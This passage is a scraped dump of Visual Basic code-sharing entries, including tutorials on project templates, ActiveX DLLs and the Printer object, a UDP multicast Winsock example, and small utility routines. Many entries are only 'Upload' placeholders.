newbies out there and so I can use this link in my\nresponses to the newsgroups questions.\nSo, how many times have you started a new project\nand found yourself putting in the same old common code you always use in every\nproject. Some people will just point to a common location that they saved\nthis code to, others will use an Add-In that stores reusable code to insert it,\nand so forth. For the most part all of us have some set of code that we\nalways want and need in every project. So others always work with\ndatabases and always need to reference ADO, DAO etc. Others have a preferred\nfont setting for all forms. Well, the simple way to deal with this is to\ntake advantage of the Templates folder found in where you installed VB. \nFor me that is D:\\Program Files\\Microsoft Visual Studio\\VB98\\Template. If\nyou go to your folder location you will see this folder contains sub folders for\ntemplates like:\n<ul>\n <li>Classes</li>\n <li>Code</li>\n <li>Controls</li>\n <li>Forms</li>\n <li>MDIForms</li>\n <li>Menus</li>\n <li>Projects</li>\n <li>Proppage</li>\n <li>Userctls</li>\n <li>Userdocs</li>\n</ul>\nNow the smart ones out there who never saw this\nbefore may be catching on already. Ok, now let me show you how to use this\nfor making a Project Template.\n<ol>\n <li>Open VB. Start a new\n standard exe project.</li>\n <li>Add all the modules, classes,\n forms, references, components, etc that you need</li>\n <li>You may even consider setting\n some project properties like Copyright etc.</li>\n <li>Make sure you have all your\n modules and forms good meaningful names as to not overwrite any other files\n later (you will see). As for the Project Name, save it with a nice English\n like file name.</li>\n <li>Now save ALL these files to D:\\Program Files\\Microsoft Visual Studio\\VB98\\Template\\Projects\n (note to use your path not mine)</li>\n <li>Close VB.</li>\n <li>Open VB.</li>\n</ol>\nNow you should see that project as an option of a\ntemplate for starting a new project. Choose it to start your new project\nand presto, you have ALL your code, and property settings all in place. \nEasy huh.\n<ol>\n <li>Now, go ahead and start just a\n standard EXE project. </li>\n <li>On the that basic first form,\n set it up with all the properties you like using for all your forms. \n Now save JUST THAT FORM\n to D:\\Program Files\\Microsoft Visual Studio\\VB98\\Template\\Forms (remember,\n use meaningful names and not to overwrite existing templates.)</li>\n <li>Close VB.</li>\n <li>Open VB.</li>\n <li>Start a new project form you\n nice new template.</li>\n <li>Click your toolbar to add a\n new form.</li>\n</ol>\nYour new template of a form is now an option of\none to add.\nWhy settle for the default when you can have it\nyour way. I think you can see what you can do now, if not, think about\nanother profession. Just kidding. I hope this helps everyone who did\nnot know about this. I just find it so easy to be able to start a new\nproject and have all the references, components, and code I always use and need\nalready there.\n-Clint <a href=\"mailto:LaFeverlafeverc@hotmail.com\">LaFever \nlafeverc@hotmail.com</a>\n<a href=\"http://vbasic.iscool.net\">http://vbasic.iscool.net</a>\n<a href=\"mailto:LaFeverlafeverc@hotmail.com\"> \n</a>\n \n \n \n \n"},{"WorldId":1,"id":28862,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28867,"LineNumber":1,"line":"<HTML>\n<HEAD><TITLE>Creating ActiveX DLL's</TITLE></HEAD>\n<BODY>\n<H1 ALIGN=CENTER>Creating a simple ActiveX DLL</H1>\n \n<CENTER>\nTo create a simple ActiveX DLL to use with your program follow these instructions\n</CENTER>\n<PRE>\nStep 1: Open Visual Basic, For the New Project, Select \"ActiveX Dll\"\nStep 2: Rename the Class Module \"Class1\" to \"Math\" You will be calling this class later.\nStep 3: Goto the menu and select, Project > Project Properties\nStep 4: Change the Project name to MathFuncDll\nStep 5: Change the Project Description to \"Simple Math Functions\" And click \"OK\"\nStep 6: In the Class Module (Math) Put the following code:\n</PRE>\n \n<PRE>\nOption Explicit\nPublic Function Add(ByVal FirstNumber As Long, ByVal SecondNumber As Long)\nAdd = FirstNumber + SecondNumber\nEnd Function\n\nPublic Function Subtract(ByVal FirstNumber As Long, ByVal SecondNumber As Long)\nSubtract = FirstNumber - SecondNumber\nEnd Function\n\nPublic Function Divide(ByVal FirstNumber As Long, ByVal SecondNumber As Long)\nDivide = FirstNumber / SecondNumber\nEnd Function\n\nPublic Function Multiply(ByVal FirstNumber As Long, ByVal SecondNumber As Long)\nMultiply = FirstNumber * SecondNumber\nEnd Function\n</PRE>\n \n<PRE>\nStep 7: Now goto the menu \"File > Make MathFuncDll.dll\" And Compile your ActiveX dll\n</PRE>\n \n<H1 ALIGN=CENTER>Congrats If it compiled correctly you have just created your first ActiveX Dll!</H1>\n<H1 ALIGN=CENTER>If it didnt compile make sure your code is exactly like mine..</H1>\n \n<CENTER>\nQuestion: How do I use this ActiveX DLL now?\nAnswer: Follow the rest of the steps ;)\n</CENTER>\n<PRE>\nStep 8: Open a New Project, This time select a New \"Standard EXE\"\nStep 9: Now goto menu \"Project > References\" And click \"Browse\"\nStep 10: Now Browse for your Newly Created DLL And select it. Click \"OK\"\nStep 11: Click \"OK\" Again to add the referance to your Project.\nStep 12: Now in the Form Put the following Code:\n</PRE>\n \n<PRE>\nOption Explicit\n'Creates The Object Reference\nDim objNew As MathFuncDll.Math\nPrivate Sub Form_Load()\n 'Sets objNew to the new Object referance\n Set objNew = New MathFuncDll.Math\n \n MsgBox objNew.Add(2, 4)\n MsgBox objNew.Subtract(5, 3)\n MsgBox objNew.Multiply(5, 2)\n MsgBox objNew.Divide(10, 5)\nEnd Sub\n</PRE>\n \nStep 13: Run your project.\n\n<PRE> OK, Ok, Now your Probably wondering \"HOW The Heck Did he referance that?\" Well now.. After you \nadded the DLL Into the Projects Refereances I called upon them by setting them to an Object. I.e:\n</PRE>\n \nDim objNew As MathFuncDll.Math\n<PRE>\nThat Refrenced objNew to the \"Math\" Class inside MathFuncDll.Dll\nAnd\n</PRE>\n \nSet objNew = New MathFuncDll.Math\n<PRE>\nCreated the Object Referance.\nNow I called upon that referance by using objNew\nI.e:\n</PRE>\n \nMsgBox objNew.Add(2, 4) \nMsgBox objNew.Subtract(5, 3) \nMsgBox objNew.Multiply(5, 2) \nMsgBox objNew.Divide(10, 5) \n\nobjNew.Subtract(FirstNumber,SecondNumber) AKA objNew.Subtract(5, 3)\n<H5 ALIGN=CENTER> This is My first tutorial, I know, I understand If you couldnt understand it... Err.. \nAnyways, Im not the best Tech Writer, Heck Im not a tech writer :P. But if you want an example feel free \nto email me at <A HREF=\"mailto:e_man_dan@hotmail.com\">E_MAN_DAN@HOTMAIL.COM</A><H5>\n</BODY>\n</HTML>"},{"WorldId":1,"id":28869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28889,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28900,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28904,"LineNumber":1,"line":"Public Sub Focus(varX As Variant)\n'selects entire txtbox\n With varX\n If .Text <> \"\" Then\n .SelStart = 0\n .SelLength = Len(.Text)\n End If\n End With\nEnd Sub\n\n''''''''''''''''''''''''''''''''''''\ncall statement\n''''''''''''''''''''''''''''''''''''\nPrivate Sub txtStoreNo_GotFocus()\n Focus txtstoreno\nEnd Sub"},{"WorldId":1,"id":28907,"LineNumber":1,"line":"' ┬⌐ Christopher Lucas 2001\n' You may freely use and distribute this code\n' in all your applications. Recognition is\n' appreciated though.\nPublic Function WordCount(Text As String) As Long\n Dim dest() As Byte\n Dim i As Long\n \n If LenB(Text) Then\n ' Move the string's byte array into dest()\n ReDim dest(LenB(Text))\n CopyMemory dest(0), ByVal StrPtr(Text), LenB(Text) - 1\n \n ' Now loop through the array and count the words\n For i = 0 To UBound(dest) Step 2\n If dest(i) > 32 Then\n Do Until dest(i) < 33\n i = i + 2\n Loop\n WordCount = WordCount + 1\n End If\n Next i\n Erase dest\n Else\n WordCount = 0\n End If\nEnd Function"},{"WorldId":1,"id":28914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28949,"LineNumber":1,"line":"Public Sub LockControl(objX As Object, cLock As Boolean)\n Dim i As Long\n If cLock Then\n ' This will lock the control\n LockWindowUpdate objX.hWnd\n Else\n ' This will unlock controls\n LockWindowUpdate 0\n objX.Refresh\n End If\nEnd sub\n'-- End --'\n"},{"WorldId":1,"id":28953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28959,"LineNumber":1,"line":"<table width=\"100%\" border=0><tr><td>\n<div align=\"right\">by, \n Gajendra S. Dhir \n Team Leader \n Data Spec \n Bilaspur-CG, INDIA</div>\n \nAll programmers creating software solutions for their client, invariably have to process data and generate output on paper, using the printer, in the form of reports. There are many third party tools available in the market which are \n instrucmental in generating beautifully crafted reports. \nI, too, have used such report writers, until recently, for my even my most \n simple printing requirements. That is until I discovered the power of the <code>printer</code> \n object. \nMost literature on Visual Basic, including books and articles, generally explore \n this <code>printer</code> object superficially and this, I believe is, why most \n of us tend to overlook this simple yet powerful printing tool.\nThe focus of my article is to demystify the <code>printer</code> object and \n present it as a magnificient object, which can be used to churn out dashing \n printouts without the support of any third party reporting tool. For detailed \n syntaxes of the objects, statements, commands, properties and methods used here \n you are requested to refer to the excellent documentation provided by Microsoft.\nThe sub-topics covered in the article include...\n<ul>\n <li><a href=\"#selectprinter\">Select Printer</a> </li>\n <li><a href=\"#pagesize\">Set the Page dimensions</a></li>\n <li><a href=\"#newpage\">Change to a new page</a></li>\n <li><a href=\"#enddoc\">End of a Print Job</a></li>\n <li><a href=\"#killdoc\">Cancel the Print Job</a></li>\n <li><a href=\"#headpos\">Position the head</a></li>\n <li><a href=\"#printtext\">Print the text</a></li>\n <li><a href=\"#justified\">Justification - Left, Right, Center</a></li>\n <li><a href=\"#fontstyle\">Font - Name, Size and Style</a></li>\n <li><a href=\"#printcolor\">Print in Color</a></li>\n <li><a href=\"#directions\">Points for Consideration</a></li>\n</ul>\n<h3></h3>\n<h2><a name=\"selectprinter\"></a>Select the printer </h2>\nWindows operating system allows you to install more than one printer. One of \n these is marked as the default printer and is offered as choice for printing \n by the applications. \nVB provides us with the <code>Printers</code> collection and the <code>Printer</code> \n object to take care of our printing requirements.\nThe <code>printers</code> collection contains a list of the printers installed \n on your system. <code>Printers.Count</code> specifies the number of printers \n installed and any printer can be selected as <code>Printers(i)</code>, where \n <code>i</code> is a number between <code>0</code> and <code>Printer.Count-1</code>.\nTo get a list of all the printers installed we could use a code snipet, like \n this...\n<code>For i = 1 to Printers.Count - 1 \n Printer.Print Printers(i).Name \n Next i \n Printer.EndDoc</code>\nor \n<code>For Each P in Printers \n Printer.Print P.Name \n Next P \n Printer.EndDoc</code>\nThe <code>Printer</code> object represents the printer which has been marked \n as the default printer in the Windows environment.\nThe entire discussion here uses the <code>printer</code> object and can \n easily be modified to use the <code>Printers(i)</code> object.\n<h2><a name=\"pagesize\"></a>Setup Page Dimensions</h2>\nThe next thing that you must do is setup the dimensions of the paper on which \n you will be printing. Windows has 41 predefined paper sizes based on the standard \n paper sizes available around the world. Other than these if the size of the \n paper does not match any of these pre-defined sizes you may set it the custom \n size and specify your own height and width for the paper. The properties used \n here are <code>Printer.PaperSize</code>, <code>Printer.Height</code> and <code>Printer.Width</code>.\n The more commonly used paper sizes are... \n<code> Printer.PaperSize = vbPRPSLetter </code>\n or \n<code> Printer.PaperSize = vbPRPSA4</code>\nPlease refer to the Microsoft documentation for a complete list of paper size \n constants.\nTo use a custom size paper your code will look something like...\n<code> Printer.Height = 10 * 1440 ' \n 10 inch height x 1440 twips per inch \n Printer.Width = 5 * 1440 ' 5 \n inch height x 1440 twips per inch</code>\nAny attempt to alter the height or the width of the <code>printer</code> object, \n automatically changes the <code>Printer.PaperSize</code> to <code>vbPRPSUser</code>. \n\nWhile you are at it, you may also want to setup the orientation of the paper. \n\n<code> Printer.Orientation = vbPRORPortrait \n </code> or \n <code> Printer.Orientation = vbPRORLandscape</code>\nAny time during the print session you want to check the dimensions of the paper \n size you can refer to the <code>height</code> and <code>width</code> properties \n for the <code>printer</code> object.\nWhile printing a page a typical use for the height is to compare the paper \n length with current position of the printer head and determine whether the next \n line can be printed on the same page or you should request for a new page.\nNote: Depending upon the printer driver installed for the printer \n it may or may not report an error is any of the printer properties is set beyond \n the acceptable range.\n\n<h2><a name=\"newpage\"></a>Change to a new page</h2>\nPrinting to the <code>printer</code> is done in page mode, i.e. the <code>printer</code> \n object sends data for printing to the operating system only after it is informed \n that the current page formatting is complete and is ready for printing. \nIn VB, this is accomplished by invoking the <code>NewPage</code> method like \n this... \n<code>Printer.NewPage</code>\nThis method instructs the <code>printer</code> object to end the current page \n and advance to the next page. \n<h2><a name=\"enddoc\"></a>End of Print Job</h2>\n When you have completed printing all the text and graphics that required to \n be printed in this print job the <code>printer</code> object must be so informed. \n You can do so using the <code>EndDoc</code> method.\n<code>Printer.EndDoc</code>\nThis terminates a print operation and releases the document to the printer. \n If something has been printed on the current page it automatically issues a \n <code>Printer.NewPage</code> to complete printing of the page. If a <code>Printer.NewPage</code> \n has been issued just before the <code>Printer.EndDoc</code> method, no blank \n page is printed.\n<h2><a name=\"killdoc\"></a>Cancel the Print Job</h2>\nThere will be occasions when you may want to abort the print session. This \n may be in response to a cancel request from the user or any such situation requiring \n you to do so.\nFor such times we have been provided with the <code>KillDoc</code> method.\n<code>Printer.KillDoc</code>\nThe difference of the <code>KillDoc</code> and the <code>EndDoc</code> methods \n is more apparent when the operating system's Print Manager is handling the print \n jobs. If the operating system's Print Manager is handling the print job <code>KillDoc</code> \n deletes the current print job and the printer receives nothing.\nIf Print Manager isn't handling the print job, some or all of the data may \n be sent to the printer before <code>KillDoc</code> can take effect. In this \n case, the printer driver resets the printer when possible and terminates the \n print job.\n\n<h2><a name=\"headpos\"></a>Position the Head</h2>\nWe can get or set the position using the two properties, <code>Printer.CurrentX</code> \n and <code>Printer.CurrentY</code>. As obvious by their names the return the \n position on the X and Y axes respectively.\n<code>Label1.Caption = \"(\" & Printer.CurrentX & \", \" & Printer.CurrentY & \")\"</code> \n\nAlternately, you may use these very functions to position the printer head \n as per your requirement.\n<code>Printer.CurrentX = 1440 \n Printer.CurrentY = 1440</code>\nRemember 1 inch = 1440 twips. so this previous code snipet should position \n the printer head 1 inch from each the top and left margins. Similarly this next \n code snipet here will position the printer head at the center of the page (half \n of width and height).\n<code>Printer.CurrentX = Printer.Width / 2 \n Printer.CurrentY = Printer.Height / 2</code>\nEvery print instruction issued to place text or graphic on the page moves the \n <code>CurrentX</code> and <code>CurrentY</code> and should be considered and, \n if necessary, taken care of before issuing the next print instruction.\n<h2><a name=\"printtext\"></a>Print out the text</h2>\nTo print use... \n \n <code>Printer.Print \"Text to Print\"</code> \n \n Printing starts at the location marked by the <code>CurrentX</code> and <code>CurrentY</code>. \n \n After the text as been printed the values of the <code>CurrentX</code> and <code>CurrentY</code> \n are changed to the new location. The new location is different when a , (comma) \n or a ; (semi-colon) is added at the end of the <code>Print</code> statement. \n Run the following code and compare the results...\nCode 1 \n<code>Printer.CurrentX = 0 \n Printer.CurrentY = 0 \n For i = 1 to 5 \n Printer.Print Printer.CurrentX & ", " & \n Printer.CurrentY \n Next i</code>\nCode 2 \n<code>Printer.CurrentX = 0 \n Printer.CurrentY = 0 \n For i = 1 to 5 \n Printer.Print Printer.CurrentX & ", " & \n Printer.CurrentY; \n Next i</code>\nnotice the ; (semi-colon) at the end of the print statement. \nand Code 3 \n<code>Printer.CurrentX = 0 \n Printer.CurrentY = 0 \n For i = 1 to 5 \n Printer.Print Printer.CurrentX & ", " & \n Printer.CurrentY, \n Next i</code>\nin this case note the , (comma) at the end of the print statement.\n<h2><a name=\"justified\"></a>Justification - Left, Right or Center</h2>\nJustification is accomplished with the help of two methods of the <code>printer</code> \n object, viz <code>Printer.TextHeight(Text)</code> and <code>Printer.TextWidth(Text)</code>, \n with which we can determine the about of vertical and horizontal space that \n will be occupied when you print the <code>Text</code>.\nSo in this example...\n<code>mTxt = \"Gajendra S. Dhir\" \n TxtWidth = Printer.TextWidth(mTxt)</code>\n<code>TxtWidth</code> is the amount of horizontal space required by the text \n in <code>mTxt</code> to print.\nLet us see print this as Left, Right and Center Justified.\n<code>'to leave 1\" Margins on the Left, Right and Top of the Printer \n Printer.CurrentX = 1440 \n MaxWidth = Printer.Width - 1440*2 \n Printer.CurrentY = 1440 \n </code>\nLeft Justified is the simplest form of justification and the head position \n is already set.\n<code>Printer.Print mTxt</code>\nThe printer head automatically moves to the starting point on the next line \n as there is no comma or semi-colon at the end of the <code>Print</code>. \nLets try right justification. We have <code>CurrentY</code> set for \n the next print statement. We need to set the <code>CurrentX</code>. Now we will \n require the <code>MaxWidth</code> and <code>TxtWidth</code> values, which we \n have ready with us (above).\n<code>' add 1440 is to maintain the 1" Left Margin. \n Printer.CurrentX = 1440 + (MaxWidth - TxtWidth) \n Printer.Print mTxt</code>\nSimilarly, you can achieve center justification \n <code>Printer.CurrentX = 1440 + (MaxWidth - TxtWidth)/2 'again \n 1440 is to maintain Left Margin. \n Printer.Print mTxt</code>\nThis is all there is to printing text.\nAh yes ... just one more thing before we proceed. The above logic assume that \n <code>TxtWidth < MaxWidth</code>. If the width of the text is greater than \n the maximum print width then you must separately process the text to either \n truncate it so that it fits the <code>MaxWidth</code> or split the lines suitably \n to simulate word-wrap.\nFor those interested, here's the entire code, \n<code> mTxt = \"Gajendra S. Dhir\" \n TxtWidth = Printer.TextWidth(mTxt) \n \n </code><code>'to leave 1\" Margins on the Top, Left and Right of the page \n Printer.CurrentY = 1440 \n Printer.CurrentX = 1440 \n MaxWidth = Printer.Width - 1440*2 \n \n 'Left Justified - no extra work \n Printer.Print mTxt \n \n 'Right Justified \n Printer.CurrentX = 1440 + (MaxWidth - TxtWidth) ' add 1440 is to \n maintain the 1" Left Margin \n Printer.Print mTxt \n \n 'Center Justified \n Printer.CurrentX = 1440 + (MaxWidth - TxtWidth)/2 'again \n 1440 is to maintain Left Margin. \n Printer.Print mTxt \n \n 'Terminate Printing \n Printer.EndDoc </code>\n<h2><a name=\"fontstyle\"></a>Font Name, Size and Style</h2>\nA wide variety of fonts, also known as typefaces, are available under the Windows \n operating system. Some are optimized for better screen appearance while others \n are designed with the printed output in mind. The printer that you use also \n has certain built-in fonts which you can access from your VB program.\nThe <code>Printer.FontCount</code> property tells you the number of fonts that \n are available in your system and are supported by current the printer. You can \n select the name of the font that you want to use for printing your text from \n the <code>Printer.Fonts</code> collection\nTo get a list of the names of the fonts available you can use a loop like this...\n<code>For i = 0 to Printer.FontCount-1 \n Printer.Print Printer.Fonts(i) \n Next i</code> \nor better still you could use the <code>Printer.Font.Name</code> property like \n this...\n<code>For i = 0 to Printer.FontCount-1 \n Printer.Font.Name = Printer.Fonts(i) \n Printer.Print Printer.Font.Name \n Next i</code> \nto get a complete list of the fonts available with each <code>Font.Name</code> \n printed using that very typeface. \nTo determine or alter the size of the text that is being printed you must access \n the <code>Printer.Font.Size</code> property. Mayby something like this...\n<code>mSize = Printer.Font.Size \n Printer.Font.Size = mSize + 4 \n Printer.Print "THE TITLE TEXT" \n Printer.Font.Size = mSize</code>\nOther than this, control for Bold, Italic, Underline and \n <s>Strikethru</s> characteristics of a font that are available at your disposal \n as a Visual Basic programmer. These are boolean properties and take the values \n <code>True</code> or <code>False</code>. You may use these properties as...\n<code> Printer.Font.Bold = True </code>to enable and <code>False</code> \n to disable \n <code> Printer.Font.Italic = True </code>to enable and <code>False</code> \n to disable \n <code> Printer.Font.Strikethrough = True </code>to enable and <code>False</code> \n to disable \n and \n <code> Printer.Font.Underline = True </code>to enable and <code>False</code> \n to disable\nThe following code will give you a printout of all the printer fonts installed \n on your system along with the "bold" and "italic" \n texts printed next to the font name.\n<code>With Printer \n For i = 0 to .FontCount-1 \n .Font.Name = Printer.Fonts(i) \n .Print Printer.Font.Name; 'Note \n the ; (semi-colon) at the end of print \n .Font.Bold = True \n .Print " Bold"; 'Note \n the ; (semi-colon) at the end of print \n .Font.Bold = False \n .Font.Italic = True \n .Print " Italic" 'Note \n no ; (semi-colon) at the end of print \n .Font.Italic = False \n If Printer.CurrentY + Printer.TextHeight("NextLine") \n > Printer.Height - 720 Then \n Printer.NewPage \n End If \n Next i \n End Width \n \n 'Terminate Printing \n Printer.EndDoc \n </code>\nWhen working with the fonts you can also use <code>.FontName</code>, <code>.FontSize</code>, \n <code>.FontBold</code>, <code>.FontItalic</code>, <code>.FontStrikeThru</code>, \n <code>.FontUnderline</code> for <code>.Font.Name</code>, <code>.Font.Size</code>, \n <code>.Font.Bold</code>, <code>.Font.Italic</code>, <code>.Font.Strikethrough</code>, \n <code>.Font.Underline</code> used above.\n<h2><a name=\"printcolor\"></a>Print in Color</h2>\nPrinting in color adds to the presentation value of the final output. Let us \n add some color to our printing. \nUse the <code>Printer.ColorMode</code> to enable or disable color printing for your color printer.\n<code>Printer.ColorMode = vbPRCMColor \n </code> or \n <code>Printer.ColorMode = vbPRCMMonochrome \n </code>\nDepending on the printer installed, when you the set the printer to vbPRCMMonochrome \n prints in shades of black and white. \nOnce you have activated color printing you can control the color of the output \n through two properties two properties, <code>backcolor</code> and <code>forecolor</code>, \n of the <code>printer</code>, to control the color of the background and the \n foreground respectively. The color values can be assigned to these properties \n using the <code>RGB()</code> function.\n<code>Printer.ForeColor = RGB(255, 0, 0) ' For \n Text in Red Color \n Printer.Print "This text is in Red "; \n Printer.ForeColor = RGB(0, 0, 255) ' For Text in \n Blue \n Printer.Print "and this is in Blue" \n Printer.BackColor = RGB(255, 255, 0) ' For Background in Yellow \n Printer.Print "The text here is Blue and the background is Yellow"</code> \n\nVisual Basic has provided color constants for the standard colors, namely <code>vbBlue</code>, \n <code>vbRed</code>, <code>vbGreen</code>, <code>vbMagenta</code>, <code>vbCyan</code>, \n <code>vbYellow</code>, <code>vbBlack</code> and <code>vbWhite</code>.\n<h2>Points for Consideration</h2>\nHere are some tips which I think you will find useful during your exploration \n of the <code>printer</code> object...\n<ul>\n <li>You will need simple sub-routines to print text - left, right and center \n justified within a maximum width that you may specify. This will allow you \n to create the columns in a tabular report and adequately justify the text \n within the column.</li>\n <li>You could write a function to split long strings based on the print width \n to enable word wrapping. See my previous code submitted titled \n Split Strings for Word Wrapping.</li>\n <li>The printer uses the same concept of device contexts that is used by Form \n and PictureBox Control. The difference is only in methods like <code>EndDoc</code>, \n <code>KillDoc</code>, <code>Cls</code> etc. Using code like... \n <code>If Destination = \"Printer\" Then \n Set objDC = Printer \n Else \n Set objDC = Picture1 \n Endif \n objDC.Print \"Hello! This is Gajendra\"</code> \n you can easily create a print preview.</li>\n</ul>\nI welcome and will appreciate constructive feedback and creative suggestions.</td></tr></table>"},{"WorldId":1,"id":28960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28983,"LineNumber":1,"line":"Public Sub CopyFileWindowsWay(SourceFile As String, DestinationFile As String)\n Dim lngReturn As Long\n Dim typFileOperation As SHFILEOPSTRUCT\n With typFileOperation\n .hWnd = 0\n .wFunc = FO_COPY\n .pFrom = SourceFile & vbNullChar & vbNullChar 'source file\n .pTo = DestinationFile & vbNullChar & vbNullChar 'destination file\n .fFlags = FOF_ALLOWUNDO\n End With\n lngReturn = SHFileOperation(typFileOperation)\n If lngReturn <> 0 Then 'Operation failed\n MsgBox Err.LastDllError, vbCritical Or vbOKOnly\n Else 'Aborted\n If typFileOperation.fAnyOperationsAborted = True Then\n MsgBox \"Operation Failed\", vbCritical Or vbOKOnly\n End If\n End If\nEnd Sub"},{"WorldId":1,"id":28986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28994,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29005,"LineNumber":1,"line":"It's easy to add IP Multicasting functionality to VB's Winsock control. First, create a new standard EXE project, name it Sender. Set the Caption property of the form to MSender. Draw on the form TextBox and WinSock controls. Set the Protocol property of WinSock to sckUDPProtocol, RemoteHost to 224.0.0.1, RemotePort to 9000. Add the code bellow to the form and save project.\nPrivate Sub Form_Load()\n Winsock1.Bind 5000\nEnd Sub\nPrivate Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)\n If KeyCode = vbKeyReturn Then\n Winsock1.SendData Text1.Text\n Text1.SelStart = 0\n Text1.SelLength = Len(Text1.Text)\n End If\nEnd Sub\n\tNow, create new project, name it Listener, Set the Caption property of the form to MListener. Draw on the form TextBox and WinSock controls. Set the Protocol property of WinSock to sckUDPProtocol. Set the property MultiLine of the TextBox to true, ScrollBars to 3 (both). Add the code bellow to the form.\nPrivate Sub Form_Load()\n Dim ipmreq As ipm_req\n \n Winsock1.Bind 9000\n ipmreq.ipm_multiaddr = inet_addr(\"224.0.0.1\")\n ipmreq.ipm_interface = 0\n ' join group\n setsockopt Winsock1.SocketHandle, _\n 0, 5, ipmreq, Len(ipmreq)\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\n Dim stdata As String\n \n Winsock1.GetData stdata\n Text1.Text = Text1.Text & Chr$(13) & Chr$(10) & stdata\n \nEnd Sub\n\tAdd the module to the Listener project with the code bellow, save the project.\nPublic Type ipm_req\n ipm_multiaddr As Long\n ipm_interface As Long\nEnd Type\nPublic Declare Function setsockopt Lib \"wsock32\" _\n (ByVal s As Integer, ByVal level As Integer, _\n ByVal optname As Integer, ByRef optval As Any, _\n ByVal optlen As Integer) As Integer\nPublic Declare Function inet_addr Lib \"wsock32\" _\n\t(ByVal cp As String) As Long\n\tRun Sender and Listener applications. Type message in Sender's TextBox, press Enter, the same text will appear in the TextBox on the Listener's form. Tested on local network\n"},{"WorldId":1,"id":29010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29013,"LineNumber":1,"line":"While making your program, go to the menu editor icon along the top of your screen, and create the desired menu. Click on the Visible check box, so that it is not checked. Go to your code screen. For this example I will just use the form for the object that the menu is associated with. You can do this for all objects. Go to the form and create the sub \"Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\" if you want the menu to pop up when you right click use the syntax \"if button = 2 then popupmenu test\" (where test is the name of your menu). If you want to have the menu displayed when the mouse is clicked, just take out the \"if button = 2 then\" If you would like the menu to show up everytime you right or left click insted of having to left click to exit it, use the code line \"If Button = 2 Then PopupMenu test, 2\" the 2 tells the computer were the pop up menu will be displayed in relation to the mouse pointer. For Example if you enter 100 the menu will display above the mouse, if you enter 200 it will be displayed to the left and down from the mouse. I hope this helps you, if it does please take a few seconds and post a review or some kind of feadback. (it is no fun to have 300+ hits and still be un-reviewed.)"},{"WorldId":1,"id":29018,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29034,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29036,"LineNumber":1,"line":"Function RAnsiColor(lngColor As Long) As Integer\n Select Case lngColor\n Case RGB(255, 255, 255): RAnsiColor = 0\n Case RGB(0, 0, 0): RAnsiColor = 1\n Case RGB(0, 0, 127): RAnsiColor = 2\n Case RGB(0, 127, 0): RAnsiColor = 3\n Case RGB(255, 0, 0): RAnsiColor = 4\n Case RGB(127, 0, 0): RAnsiColor = 5\n Case RGB(127, 0, 127): RAnsiColor = 6\n Case RGB(255, 127, 0): RAnsiColor = 7\n Case RGB(255, 255, 0): RAnsiColor = 8\n Case RGB(0, 255, 0): RAnsiColor = 9\n Case RGB(0, 148, 144): RAnsiColor = 10\n Case RGB(0, 255, 255): RAnsiColor = 11\n Case RGB(0, 0, 255): RAnsiColor = 12\n Case RGB(255, 0, 255): RAnsiColor = 13\n Case RGB(92, 92, 92): RAnsiColor = 14\n Case RGB(184, 184, 184): RAnsiColor = 15\n Case RGB(0, 0, 0): RAnsiColor = 99\n Case lngForeColor: RAnsiColor = 1\n Case lngBackColor: RAnsiColor = 0\n End Select\nEnd Function\nFunction ColorTable() As String\n Dim i As Integer, strTable As String\n Dim r As Integer, b As Integer, g As Integer\n strTable = \"{\\colortbl ;\"\n For i = 0 To 15\n Select Case i\n Case 0: r = 255: g = 255: b = 255\n Case 1: r = 0: g = 0: b = 0\n Case 2: r = 0: g = 0: b = 127\n Case 3: r = 0: g = 127: b = 0\n Case 4: r = 255: g = 0: b = 0\n Case 5: r = 127: g = 0: b = 0\n Case 6: r = 127: g = 0: b = 127\n Case 7: r = 255: g = 127: b = 0\n Case 8: r = 255: g = 255: b = 0\n Case 9: r = 0: g = 255: b = 0\n Case 10: r = 0: g = 148: b = 144\n Case 11: r = 0: g = 255: b = 255\n Case 12: r = 0: g = 0: b = 255\n Case 13: r = 255: g = 0: b = 255\n Case 14: r = 92: g = 92: b = 92\n Case 15: r = 184: g = 184: b = 184\n Case Else: r = 0: g = 0: b = 0\n End Select\n strTable = strTable & \"\\red\" & r & \"\\green\" & g & \"\\blue\" & b & \";\"\n Next 